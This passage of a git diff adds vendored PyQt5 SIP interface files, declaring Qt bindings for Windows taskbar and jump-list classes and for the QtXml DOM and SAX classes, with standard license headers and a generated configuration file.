file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_2_0 -) + +class QWinJumpList : public QObject +{ +%TypeHeaderCode +#include +%End + +%ConvertToSubClassCode +static struct class_graph { + const char *name; + sipTypeDef **type; + int yes, no; +} graph[] = { + {sipName_QWinThumbnailToolBar, &sipType_QWinThumbnailToolBar, -1, 1}, + {sipName_QWinJumpList, &sipType_QWinJumpList, -1, 2}, + {sipName_QWinTaskbarButton, &sipType_QWinTaskbarButton, -1, 3}, + {sipName_QWinThumbnailToolButton, &sipType_QWinThumbnailToolButton, -1, 4}, + {sipName_QWinTaskbarProgress, &sipType_QWinTaskbarProgress, -1, -1}, +}; + +int i = 0; + +sipType = NULL; + +do +{ + struct class_graph *cg = &graph[i]; + + if (cg->name != NULL && sipCpp->inherits(cg->name)) + { + sipType = *cg->type; + i = cg->yes; + } + else + i = cg->no; +} +while (i >= 0); +%End + +public: + explicit QWinJumpList(QObject *parent /TransferThis/ = 0); + ~QWinJumpList(); + + QString identifier() const; + void setIdentifier(const QString &identifier); + + QWinJumpListCategory *recent() const; + QWinJumpListCategory *frequent() const; + QWinJumpListCategory *tasks() const; + + QList categories() const; + void addCategory(QWinJumpListCategory *category /Transfer/); + QWinJumpListCategory *addCategory(const QString &title, + const QList items /Transfer/ = QList()); + +public slots: + void clear(); + +private: + QWinJumpList(const QWinJumpList &); +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtWinExtras/qwinjumplistcategory.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWinExtras/qwinjumplistcategory.sip new file mode 100644 index 00000000..6af9f511 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWinExtras/qwinjumplistcategory.sip @@ -0,0 +1,69 @@ +// This is the SIP interface definition for QWinJumpListCategory. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_2_0 -) + +class QWinJumpListCategory /Supertype=sip.wrapper/ +{ +%TypeHeaderCode +#include +%End + +public: + enum Type + { + Custom, + Recent, + Frequent, + Tasks + }; + + explicit QWinJumpListCategory(const QString &title = QString()); + ~QWinJumpListCategory(); + + Type type() const; + + bool isVisible() const; + void setVisible(bool visible); + + QString title() const; + void setTitle(const QString &title); + + int count() const; + bool isEmpty() const; + QList items() const; + + void addItem(QWinJumpListItem *item /Transfer/); + QWinJumpListItem *addDestination(const QString &filePath); + QWinJumpListItem *addLink(const QString &title, + const QString &executablePath, + const QStringList &arguments = QStringList()); + QWinJumpListItem *addLink(const QIcon &icon, const QString &title, + const QString &executablePath, + const QStringList &arguments = QStringList()); + QWinJumpListItem *addSeparator(); + + void clear(); + +private: + QWinJumpListCategory(const QWinJumpListCategory &); +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtWinExtras/qwinjumplistitem.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWinExtras/qwinjumplistitem.sip new file mode 100644 index 00000000..1b58c142 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWinExtras/qwinjumplistitem.sip @@ -0,0 +1,59 @@ +// This is the SIP interface definition for QWinJumpListItem. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_2_0 -) + +class QWinJumpListItem /Supertype=sip.wrapper/ +{ +%TypeHeaderCode +#include +%End + +public: + enum Type + { + Destination, + Link, + Separator + }; + + explicit QWinJumpListItem(Type type); + ~QWinJumpListItem(); + + void setType(Type type); + Type type() const; + void setFilePath(const QString &filePath); + QString filePath() const; + void setWorkingDirectory(const QString &workingDirectory); + QString workingDirectory() const; + void setIcon(const QIcon &icon); + QIcon icon() const; + void setTitle(const QString &title); + QString title() const; + void setDescription(const QString &description); + QString description() const; + void setArguments(const QStringList &arguments); + QStringList arguments() const; + +private: + QWinJumpListItem(const QWinJumpListItem &); +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtWinExtras/qwintaskbarbutton.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWinExtras/qwintaskbarbutton.sip new file mode 100644 index 00000000..22830b31 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWinExtras/qwintaskbarbutton.sip @@ -0,0 +1,53 @@ +// This is the SIP interface definition for QWinTaskbarButton. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_2_0 -) + +class QWinTaskbarButton : public QObject +{ +%TypeHeaderCode +#include +%End + +public: + explicit QWinTaskbarButton(QObject *parent /TransferThis/ = 0); + ~QWinTaskbarButton(); + + void setWindow(QWindow *window); + QWindow *window() const; + + QIcon overlayIcon() const; + QString overlayAccessibleDescription() const; + + QWinTaskbarProgress *progress() const; + + bool eventFilter(QObject *, QEvent *); + +public slots: + void setOverlayIcon(const QIcon &icon); + void setOverlayAccessibleDescription(const QString &description); + + void clearOverlayIcon(); + +private: + QWinTaskbarButton(const QWinTaskbarButton &); +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtWinExtras/qwintaskbarprogress.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWinExtras/qwintaskbarprogress.sip new file mode 100644 index 00000000..1bdf2dbe --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWinExtras/qwintaskbarprogress.sip @@ -0,0 +1,64 @@ +// This is the SIP interface definition for QWinTaskbarProgress. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_2_0 -) + +class QWinTaskbarProgress : public QObject +{ +%TypeHeaderCode +#include +%End + +public: + explicit QWinTaskbarProgress(QObject *parent /TransferThis/= 0); + ~QWinTaskbarProgress(); + + int value() const; + int minimum() const; + int maximum() const; + bool isVisible() const; + bool isPaused() const; + bool isStopped() const; + +public slots: + void setValue(int value); + void setMinimum(int minimum); + void setMaximum(int maximum); + void setRange(int minimum, int maximum); + void reset(); + void show(); + void hide(); + void setVisible(bool visible); + void pause(); + void resume(); + void setPaused(bool paused); + void stop(); + +signals: + void valueChanged(int value); + void minimumChanged(int minimum); + void maximumChanged(int maximum); + void visibilityChanged(bool visible); + +private: + QWinTaskbarProgress(const QWinTaskbarProgress &); +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtWinExtras/qwinthumbnailtoolbar.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWinExtras/qwinthumbnailtoolbar.sip new file mode 100644 index 00000000..840d0e35 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWinExtras/qwinthumbnailtoolbar.sip @@ -0,0 +1,67 @@ +// This is the SIP interface definition for QWinThumbnailToolBar. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_2_0 -) + +class QWinThumbnailToolBar : public QObject +{ +%TypeHeaderCode +#include +%End + +public: + explicit QWinThumbnailToolBar(QObject *parent /TransferThis/ = 0); + ~QWinThumbnailToolBar(); + + void setWindow(QWindow *window); + QWindow *window() const; + + void addButton(QWinThumbnailToolButton *button); + void removeButton(QWinThumbnailToolButton *button); + void setButtons(const QList &buttons); + QList buttons() const; + int count() const; + +%If (Qt_5_4_0 -) + bool iconicPixmapNotificationsEnabled() const; + void setIconicPixmapNotificationsEnabled(bool enabled); + + QPixmap iconicThumbnailPixmap() const; + QPixmap iconicLivePreviewPixmap() const; +%End + +public slots: + void clear(); +%If (Qt_5_4_0 -) + void setIconicThumbnailPixmap(const QPixmap &); + void setIconicLivePreviewPixmap(const QPixmap &); +%End + +signals: +%If (Qt_5_4_0 -) + void iconicThumbnailPixmapRequested(); + void iconicLivePreviewPixmapRequested(); +%End + +private: + QWinThumbnailToolBar(const QWinThumbnailToolBar &); +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtWinExtras/qwinthumbnailtoolbutton.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWinExtras/qwinthumbnailtoolbutton.sip new file mode 100644 index 00000000..e0e96df2 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtWinExtras/qwinthumbnailtoolbutton.sip @@ -0,0 +1,58 @@ +// This is the SIP interface definition for QWinThumbnailToolButton. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_2_0 -) + +class QWinThumbnailToolButton : public QObject +{ +%TypeHeaderCode +#include +%End + +public: + explicit QWinThumbnailToolButton(QObject *parent /TransferThis/ = 0); + ~QWinThumbnailToolButton(); + + void setToolTip(const QString &toolTip); + QString toolTip() const; + void setIcon(const QIcon &icon); + QIcon icon() const; + void setEnabled(bool enabled); + bool isEnabled() const; + void setInteractive(bool interactive); + bool isInteractive() const; + void setVisible(bool visible); + bool isVisible() const; + void setDismissOnClick(bool dismiss); + bool dismissOnClick() const; + void setFlat(bool flat); + bool isFlat() const; + +public slots: + void click(); + +signals: + void clicked(); + +private: + QWinThumbnailToolButton(const QWinThumbnailToolButton &); +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtXml/QtXml.toml b/OTHERS/Jarvis/ools/PyQt5/bindings/QtXml/QtXml.toml new file mode 100644 index 00000000..33cafb51 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtXml/QtXml.toml @@ -0,0 +1,6 @@ +# Automatically generated configuration for PyQt5.QtXml. + +sip-version = "6.4.0" +sip-abi-version = "12.8" +module-tags = ["Qt_5_15_0", "WS_WIN"] +module-disabled-features = [] diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtXml/QtXmlmod.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtXml/QtXmlmod.sip new file mode 100644 index 00000000..b742ce31 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtXml/QtXmlmod.sip @@ -0,0 +1,49 @@ +// QtXmlmod.sip generated by MetaSIP +// +// This file is part of the QtXml Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%Module(name=PyQt5.QtXml, keyword_arguments="Optional", use_limited_api=True) + +%Import QtCore/QtCoremod.sip + +%Copying +Copyright (c) 2021 Riverbank Computing Limited + +This file is part of PyQt5. + +This file may be used under the terms of the GNU General Public License +version 3.0 as published by the Free Software Foundation and appearing in +the file LICENSE included in the packaging of this file. Please review the +following information to ensure the GNU General Public License version 3.0 +requirements will be met: http://www.gnu.org/copyleft/gpl.html. + +If you do not wish to use this file under the terms of the GPL version 3.0 +then you may purchase a commercial license. For more information contact +info@riverbankcomputing.com. + +This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. +%End + +%DefaultSupertype sip.simplewrapper + +%Include qdom.sip +%Include qxml.sip diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtXml/qdom.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtXml/qdom.sip new file mode 100644 index 00000000..7cb9bef7 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtXml/qdom.sip @@ -0,0 +1,441 @@ +// qdom.sip generated by MetaSIP +// +// This file is part of the QtXml Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QDomImplementation +{ +%TypeHeaderCode +#include +%End + +public: + QDomImplementation(); + QDomImplementation(const QDomImplementation &); + ~QDomImplementation(); + bool operator==(const QDomImplementation &) const; + bool operator!=(const QDomImplementation &) const; + bool hasFeature(const QString &feature, const QString &version) const; + QDomDocumentType createDocumentType(const QString &qName, const QString &publicId, const QString &systemId); + QDomDocument createDocument(const QString &nsURI, const QString &qName, const QDomDocumentType &doctype); + + enum InvalidDataPolicy + { + AcceptInvalidChars, + DropInvalidChars, + ReturnNullNode, + }; + + static QDomImplementation::InvalidDataPolicy invalidDataPolicy(); + static void setInvalidDataPolicy(QDomImplementation::InvalidDataPolicy policy); + bool isNull(); +}; + +class QDomNode +{ +%TypeHeaderCode +#include +%End + +public: + enum NodeType + { + ElementNode, + AttributeNode, + TextNode, + CDATASectionNode, + EntityReferenceNode, + EntityNode, + ProcessingInstructionNode, + CommentNode, + DocumentNode, + DocumentTypeNode, + DocumentFragmentNode, + NotationNode, + BaseNode, + CharacterDataNode, + }; + + enum EncodingPolicy + { + EncodingFromDocument, + EncodingFromTextStream, + }; + + QDomNode(); + QDomNode(const QDomNode &); + ~QDomNode(); + bool operator==(const QDomNode &) const; + bool operator!=(const QDomNode &) const; + QDomNode insertBefore(const QDomNode &newChild, const QDomNode &refChild); + QDomNode insertAfter(const QDomNode &newChild, const QDomNode &refChild); + QDomNode replaceChild(const QDomNode &newChild, const QDomNode &oldChild); + QDomNode removeChild(const QDomNode &oldChild); + QDomNode appendChild(const QDomNode &newChild); + bool hasChildNodes() const; + QDomNode cloneNode(bool deep = true) const; + void normalize(); + bool isSupported(const QString &feature, const QString &version) const; + QString nodeName() const; + QDomNode::NodeType nodeType() const; + QDomNode parentNode() const; + QDomNodeList childNodes() const; + QDomNode firstChild() const; + QDomNode lastChild() const; + QDomNode previousSibling() const; + QDomNode nextSibling() const; + QDomNamedNodeMap attributes() const; + QDomDocument ownerDocument() const; + QString namespaceURI() const; + QString localName() const; + bool hasAttributes() const; + QString nodeValue() const; + void setNodeValue(const QString &); + QString prefix() const; + void setPrefix(const QString &pre); + bool isAttr() const; + bool isCDATASection() const; + bool isDocumentFragment() const; + bool isDocument() const; + bool isDocumentType() const; + bool isElement() const; + bool isEntityReference() const; + bool isText() const; + bool isEntity() const; + bool isNotation() const; + bool isProcessingInstruction() const; + bool isCharacterData() const; + bool isComment() const; + QDomNode namedItem(const QString &name) const; + bool isNull() const; + void clear(); + QDomAttr toAttr() const; + QDomCDATASection toCDATASection() const; + QDomDocumentFragment toDocumentFragment() const; + QDomDocument toDocument() const; + QDomDocumentType toDocumentType() const; + QDomElement toElement() const; + QDomEntityReference toEntityReference() const; + QDomText toText() const; + QDomEntity toEntity() const; + QDomNotation toNotation() const; + QDomProcessingInstruction toProcessingInstruction() const; + QDomCharacterData toCharacterData() const; + QDomComment toComment() const; + void save(QTextStream &, int, QDomNode::EncodingPolicy = QDomNode::EncodingFromDocument) const /ReleaseGIL/; + QDomElement firstChildElement(const QString &tagName = QString()) const; + QDomElement lastChildElement(const QString &tagName = QString()) const; + QDomElement previousSiblingElement(const QString &tagName = QString()) const; + QDomElement nextSiblingElement(const QString &taName = QString()) const; + int lineNumber() const; + int columnNumber() const; +}; + +class QDomNodeList +{ +%TypeHeaderCode +#include +%End + +public: + QDomNodeList(); + QDomNodeList(const QDomNodeList &); + ~QDomNodeList(); + bool operator==(const QDomNodeList &) const; + bool operator!=(const QDomNodeList &) const; + QDomNode item(int index) const; + QDomNode at(int index) const; + int length() const; + int count() const /__len__/; + int size() const; + bool isEmpty() const; +}; + +class QDomDocumentType : QDomNode +{ +%TypeHeaderCode +#include +%End + +public: + QDomDocumentType(); + QDomDocumentType(const QDomDocumentType &x); + QString name() const; + QDomNamedNodeMap entities() const; + QDomNamedNodeMap notations() const; + QString publicId() const; + QString systemId() const; + QString internalSubset() const; + QDomNode::NodeType nodeType() const; +}; + +class QDomDocument : QDomNode +{ +%TypeHeaderCode +#include +%End + +public: + QDomDocument(); + explicit QDomDocument(const QString &name); + explicit QDomDocument(const QDomDocumentType &doctype); + QDomDocument(const QDomDocument &x); + ~QDomDocument(); + QDomElement createElement(const QString &tagName); + QDomDocumentFragment createDocumentFragment(); + QDomText createTextNode(const QString &data); + QDomComment createComment(const QString &data); + QDomCDATASection createCDATASection(const QString &data); + QDomProcessingInstruction createProcessingInstruction(const QString &target, const QString &data); + QDomAttr createAttribute(const QString &name); + QDomEntityReference createEntityReference(const QString &name); + QDomNodeList elementsByTagName(const QString &tagname) const; + QDomNode importNode(const QDomNode &importedNode, bool deep); + QDomElement createElementNS(const QString &nsURI, const QString &qName); + QDomAttr createAttributeNS(const QString &nsURI, const QString &qName); + QDomNodeList elementsByTagNameNS(const QString &nsURI, const QString &localName); + QDomElement elementById(const QString &elementId); + QDomDocumentType doctype() const; + QDomImplementation implementation() const; + QDomElement documentElement() const; + QDomNode::NodeType nodeType() const; + bool setContent(const QByteArray &text, bool namespaceProcessing, QString *errorMsg /Out/ = 0, int *errorLine = 0, int *errorColumn = 0); + bool setContent(const QString &text, bool namespaceProcessing, QString *errorMsg /Out/ = 0, int *errorLine = 0, int *errorColumn = 0); + bool setContent(QIODevice *dev, bool namespaceProcessing, QString *errorMsg /Out/ = 0, int *errorLine = 0, int *errorColumn = 0) /ReleaseGIL/; + bool setContent(QXmlInputSource *source, bool namespaceProcessing, QString *errorMsg /Out/ = 0, int *errorLine = 0, int *errorColumn = 0) /ReleaseGIL/; + bool setContent(const QByteArray &text, QString *errorMsg /Out/ = 0, int *errorLine = 0, int *errorColumn = 0); + bool setContent(const QString &text, QString *errorMsg /Out/ = 0, int *errorLine = 0, int *errorColumn = 0); + bool setContent(QIODevice *dev, QString *errorMsg /Out/ = 0, int *errorLine = 0, int *errorColumn = 0) /ReleaseGIL/; + bool setContent(QXmlInputSource *source, QXmlReader *reader, QString *errorMsg /Out/ = 0, int *errorLine = 0, int *errorColumn = 0) /ReleaseGIL/; +%If (Qt_5_15_0 -) + bool setContent(QXmlStreamReader *reader, bool namespaceProcessing, QString *errorMsg /Out/ = 0, int *errorLine = 0, int *errorColumn = 0); +%End + QString toString(int indent = 1) const; + QByteArray toByteArray(int indent = 1) const; +}; + +class QDomNamedNodeMap +{ +%TypeHeaderCode +#include +%End + +public: + QDomNamedNodeMap(); + QDomNamedNodeMap(const QDomNamedNodeMap &); + ~QDomNamedNodeMap(); + bool operator==(const QDomNamedNodeMap &) const; + bool operator!=(const QDomNamedNodeMap &) const; + QDomNode namedItem(const QString &name) const; + QDomNode setNamedItem(const QDomNode &newNode); + QDomNode removeNamedItem(const QString &name); + QDomNode item(int index) const; + QDomNode namedItemNS(const QString &nsURI, const QString &localName) const; + QDomNode setNamedItemNS(const QDomNode &newNode); + QDomNode removeNamedItemNS(const QString &nsURI, const QString &localName); + int length() const; + int count() const /__len__/; + int size() const; + bool isEmpty() const; + bool contains(const QString &name) const; +}; + +class QDomDocumentFragment : QDomNode +{ +%TypeHeaderCode +#include +%End + +public: + QDomDocumentFragment(); + QDomDocumentFragment(const QDomDocumentFragment &x); + QDomNode::NodeType nodeType() const; +}; + +class QDomCharacterData : QDomNode +{ +%TypeHeaderCode +#include +%End + +public: + QDomCharacterData(); + QDomCharacterData(const QDomCharacterData &x); + QString substringData(unsigned long offset, unsigned long count); + void appendData(const QString &arg); + void insertData(unsigned long offset, const QString &arg); + void deleteData(unsigned long offset, unsigned long count); + void replaceData(unsigned long offset, unsigned long count, const QString &arg); + int length() const; + QString data() const; + void setData(const QString &); + QDomNode::NodeType nodeType() const; +}; + +class QDomAttr : QDomNode +{ +%TypeHeaderCode +#include +%End + +public: + QDomAttr(); + QDomAttr(const QDomAttr &x); + QString name() const; + bool specified() const; + QDomElement ownerElement() const; + QString value() const; + void setValue(const QString &); + QDomNode::NodeType nodeType() const; +}; + +class QDomElement : QDomNode +{ +%TypeHeaderCode +#include +%End + +public: + QDomElement(); + QDomElement(const QDomElement &x); + QString attribute(const QString &name, const QString &defaultValue = QString()) const; + void setAttribute(const QString &name, const QString &value); + void setAttribute(const QString &name, qlonglong value); + void setAttribute(const QString &name, qulonglong value); + void setAttribute(const QString &name, double value /Constrained/); + void setAttribute(const QString &name, int value); + void removeAttribute(const QString &name); + QDomAttr attributeNode(const QString &name); + QDomAttr setAttributeNode(const QDomAttr &newAttr); + QDomAttr removeAttributeNode(const QDomAttr &oldAttr); + QDomNodeList elementsByTagName(const QString &tagname) const; + bool hasAttribute(const QString &name) const; + QString attributeNS(const QString nsURI, const QString &localName, const QString &defaultValue = QString()) const; + void setAttributeNS(const QString nsURI, const QString &qName, const QString &value); + void setAttributeNS(const QString nsURI, const QString &qName, qlonglong value); + void setAttributeNS(const QString nsURI, const QString &qName, qulonglong value); + void setAttributeNS(const QString nsURI, const QString &qName, double value /Constrained/); + void setAttributeNS(const QString nsURI, const QString &qName, int value); + void removeAttributeNS(const QString &nsURI, const QString &localName); + QDomAttr attributeNodeNS(const QString &nsURI, const QString &localName); + QDomAttr setAttributeNodeNS(const QDomAttr &newAttr); + QDomNodeList elementsByTagNameNS(const QString &nsURI, const QString &localName) const; + bool hasAttributeNS(const QString &nsURI, const QString &localName) const; + QString tagName() const; + void setTagName(const QString &name); + QDomNamedNodeMap attributes() const; + QDomNode::NodeType nodeType() const; + QString text() const; +}; + +class QDomText : QDomCharacterData +{ +%TypeHeaderCode +#include +%End + +public: + QDomText(); + QDomText(const QDomText &x); + QDomText splitText(int offset); + QDomNode::NodeType nodeType() const; +}; + +class QDomComment : QDomCharacterData +{ +%TypeHeaderCode +#include +%End + +public: + QDomComment(); + QDomComment(const QDomComment &x); + QDomNode::NodeType nodeType() const; +}; + +class QDomCDATASection : QDomText +{ +%TypeHeaderCode +#include +%End + +public: + QDomCDATASection(); + QDomCDATASection(const QDomCDATASection &x); + QDomNode::NodeType nodeType() const; +}; + +class QDomNotation : QDomNode +{ +%TypeHeaderCode +#include +%End + +public: + QDomNotation(); + QDomNotation(const QDomNotation &x); + QString publicId() const; + QString systemId() const; + QDomNode::NodeType nodeType() const; +}; + +class QDomEntity : QDomNode +{ +%TypeHeaderCode +#include +%End + +public: + QDomEntity(); + QDomEntity(const QDomEntity &x); + QString publicId() const; + QString systemId() const; + QString notationName() const; + QDomNode::NodeType nodeType() const; +}; + +class QDomEntityReference : QDomNode +{ +%TypeHeaderCode +#include +%End + +public: + QDomEntityReference(); + QDomEntityReference(const QDomEntityReference &x); + QDomNode::NodeType nodeType() const; +}; + +class QDomProcessingInstruction : QDomNode +{ +%TypeHeaderCode +#include +%End + +public: + QDomProcessingInstruction(); + QDomProcessingInstruction(const QDomProcessingInstruction &x); + QString target() const; + QString data() const; + void setData(const QString &d); + QDomNode::NodeType nodeType() const; +}; + +QTextStream &operator<<(QTextStream &, const QDomNode & /Constrained/); diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtXml/qxml.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtXml/qxml.sip new file mode 100644 index 00000000..226e28c1 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtXml/qxml.sip @@ -0,0 +1,333 @@ +// qxml.sip generated by MetaSIP +// +// This file is part of the QtXml Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QXmlNamespaceSupport +{ +%TypeHeaderCode +#include +%End + +public: + QXmlNamespaceSupport(); + ~QXmlNamespaceSupport(); + void setPrefix(const QString &, const QString &); + QString prefix(const QString &) const; + QString uri(const QString &) const; + void splitName(const QString &, QString &, QString &) const; + void processName(const QString &, bool, QString &, QString &) const; + QStringList prefixes() const; + QStringList prefixes(const QString &) const; + void pushContext(); + void popContext(); + void reset(); + +private: + QXmlNamespaceSupport(const QXmlNamespaceSupport &); +}; + +class QXmlAttributes +{ +%TypeHeaderCode +#include +%End + +public: + QXmlAttributes(); +%If (Qt_5_8_0 -) + QXmlAttributes(const QXmlAttributes &); +%End + virtual ~QXmlAttributes(); + int index(const QString &qName) const; + int index(const QString &uri, const QString &localPart) const; + int length() const; + QString localName(int index) const; + QString qName(int index) const; + QString uri(int index) const; + QString type(int index) const; + QString type(const QString &qName) const; + QString type(const QString &uri, const QString &localName) const; + QString value(int index) const; + QString value(const QString &qName) const; + QString value(const QString &uri, const QString &localName) const; + void clear(); + void append(const QString &qName, const QString &uri, const QString &localPart, const QString &value); + int count() const /__len__/; +%If (Qt_5_8_0 -) + void swap(QXmlAttributes &other /Constrained/); +%End +}; + +class QXmlInputSource +{ +%TypeHeaderCode +#include +%End + +public: + QXmlInputSource(); + explicit QXmlInputSource(QIODevice *dev); + virtual ~QXmlInputSource(); + virtual void setData(const QString &dat); + virtual void setData(const QByteArray &dat); + virtual void fetchData(); + virtual QString data() const; + virtual QChar next(); + virtual void reset(); + static const ushort EndOfData; + static const ushort EndOfDocument; + +protected: + virtual QString fromRawData(const 